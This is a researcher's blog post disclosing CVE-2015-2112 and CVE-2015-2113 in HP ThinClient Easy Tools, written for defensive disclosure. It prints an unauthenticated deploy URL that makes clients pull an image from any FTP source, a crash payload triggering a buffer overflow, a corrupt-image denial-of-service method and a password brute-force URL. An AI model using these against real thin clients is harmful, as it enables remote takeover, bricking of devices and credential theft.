HP ThinClients hacked. EasyTools; Easy to (ab)use!

‍TL;DR

This is about CVE-2015-2112 and CVE-2015-2113. HP ThinClients are shipped with Easy Tools software. This software allows a LOT (Like RCE). Uninstall / Disable it.

Advisory: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04629160

Short background

Somewhere in 2014 I was working for a customer which had to replace all devices in their local network. While I was hired to focus on security stuff, they asked me to help setting up the network. In one night.

They use an external party to host and manage a Citrix/Windows environment, which can be accessed with remote desktop. Therefor the network is quite small; they have 2 redundant ASA5505 (building the tunnel), couple of POE switches connecting 45 HP T510 ThinClients to the internets.

The company isn’t IT related at all and they never really invested in IT. “It should work” and “it should work always” is key.

Previously the company used the HP TC factory defaults and added some minor security things ( like changing administrator password ). Nothing fancy over there.

ThinClients setup

As mentioned; The company uses HP T510 thinclient to connect to the external Citrix environment. HP delivers their TC’s preinstalled and ready to use. HP shipped around 1.2 million ThinClients in 2014. So this is widespread.

In most cases they’ll run Windows Embedded 7 ( WES7 ) , with additional HP software to manage the thinclient ( f.e. lock the local settings ). The additional software contains HP Easy Tools . This is a simple but effective tool to capture and deploy images from one thinclient to others ( http://www.hp.com/ctg/Manual/c02762108.pdf ).

As the company used the configuration defaults in the past, we figured this could be used again. So with HP Easy Tools / EasyDeploy we’ve captured an image from one of the old thinclients, so we could deploy this one on one to the new devices.

Deploying the image.

As soon as we captured the image, we selected the deploy option in HP Easy Tools. There are multiple options to deploy the image, under which uploading the .HPIMG to a (locally set-up) FTP server. This so the clients can download it from there. We used this. So far so good.

Easy Tools will ask for the IP address or subnet to distribute the deploy (- command) to. I’ve selected the subnet and hit the deploy button.

The point where every security dude would say; “Huh? Wait. What?”

Things went a little weird then. All the thinclients accepted the command from my random computer in the network, and started rebooting. They booted in Mini Linux, started downloading the image from the given (unverified, external) FTP source, removed the original image and installed the downloaded image.

This scared me quite a bit. I didn't setup a command and control server, neither I accepted this "untrusted" and so unverified command on one of the affected devices in the network.

Borrowed 2 ThinClients. Went home. Grabbed coffee and prepared for some sleepless nights.

I used wireshark to intercept all the (unencrypted) traffic which Easy Tools generates. In short there are 3 commands possible:

Deploy imageDeploy configuration ( image will sustain, configuration will change )Change administrator password

The Thinclients run a preinstalled (and by default active) service called “deploy_manager.exe”, which acts as a regular webserver, listening on port 40010. It will accept calls from everything which can reach the client.

The urls are as simple as:

http://...:40010/easydeploy/1/deploy/config?repo=FTP://admin:admin@192.168.1.100?file=1.hpcfg

Making it possible to exploit all things mentioned below, just by entering this URL in your browser.

Easy Tools doesn’t support SFTP and neither encrypts its traffic, so if you're analyzing the network traffic, you’re in the position of intercepting the FTP credentials.

In this blog I’ll only highlight the Deploy image and Change admin password features.

Deploy image: Buffer overflow

I ran a simple NMAP on the ThinClients ( nmap -sV -Pn -A ), with weird results. The webserver would not respond to the service detection on the ports. This while it really was running.

By checking the deploy_manager.exe activity, I realized it was going 100% CPU usage, building up in memory usage (up to 2gb) and killed itself. This was the reason it wouldn’t respond to the NMAP. I got all the service detection payloads which NMAP will sent in its process, created a Python script and repeated them separately to figure out which one was causing the crash.

The payload

"\x80\x9e\x01\x03\x01\x00u\x00\x00\x00 \x00\x00f\x00\x00e\x00\x00d\x00\x00c\x00\x00b\x00\x00:\x00\x009\x00\x 008\x00\x005\x00\x004\x00\x003\x00\x002\x00\x00/\x00\x00\x1b\x00\x00\ x1a\x00\x00\x19\x00\x00\x18\x00\x00\x17\x00\x00\x16\x00\x00\x15\x00\x 00\x14\x00\x00\x13\x00\x00\x12\x00\x00\x11\x00\x00\n\x00\x00\t\x00\x0 0\x08\x00\x00\x06\x00\x00\x05\x00\x00\x04\x00\x00\x03\x07\x00\xc0\x06 \x00@\x04\x00\x80\x03\x00\x80\x02\x00\x80\x01\x00\x80\x00\x00\x02\x00 \x00\x01\xe4i<+\xf6\xd6\x9b\xbb\xd3\x81\x9f\xbf\x15\xc1@\xa5o\x14, \xc4\xc7\xe0\xb6\xb0\xb2\x1f\xf9)\xe8\x98"

is causing the crash.

Finetuning this, resulted in the first 2 characters causing the service to crash: \x80\x9e . \x9e is a special character. Looks like a really old webserver bug concerning special characters in calls. This actually results in a buffer overflow, with all consequences attached to such kind of vulnerability (Hello, CVSS 10!)

Deploy image: Backdooring / DoS

So we’re in the position of distributing any image to every client. Backdooring the current image is a possibility to access the internal network from an outside source. But if you’re really pissed off; you have the possibility to deploy a corrupt image. Just create a file “corrupt.hpimg” and deploy this image over the network.

Mini Linux will download the file, remove the current image and try to install the deployed one instead. The workflow is causing a serious DoS opportunity. If the new image is corrupt and can’t be installed; the old one is already removed and the TC won’t boot anymore. TC networks usually are big/bigger. Best of luck manually booting 600 thinclients with your USB stick :)

Change admin password: Bruteforce your way in the clients

By checking the “change admin” feature I found it possible to bruteforce the password from an external source. The url:

http://...:40010/easydeploy/1/deploy/password?old=1&new=1

Will respond with a 500 (in case the current password isn’t the right one) and a 200 if it really is. There’s no ratelimiting, neither a warning of any kind when loads of requests are being performed. Bruteforcing with Burp Suite (Seriously one of the slowest ways to do this), confirmed the “admin:Administor” password within a minute ( “simple list” feature in Burp ).

Bottom line

I’ve submitted all the details to the ZDI. They’ve been working for a couple of months on this problem, but couldn’t reproduce and declined. I ended up contacting HP SSRT about it. They have been investigating for quite some months and confirmed the severity of this issues. They released a security bulletin, including 2 CVE’s. One with CVSS 10 and the other with CVSS 9. Advisory; Please disable or remove deploy_manager.exe and never use it again. Please don’t.

Security bulletin: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04629160

I’ve written a Python script which automates all the ways to hack the TC’s. Instead of releasing that (I’m really worried how many companies are still  vulnerable), I also wrote a plugin for Tenable Nessus and sent it to them. This should be included in the future.

Thanks for reading!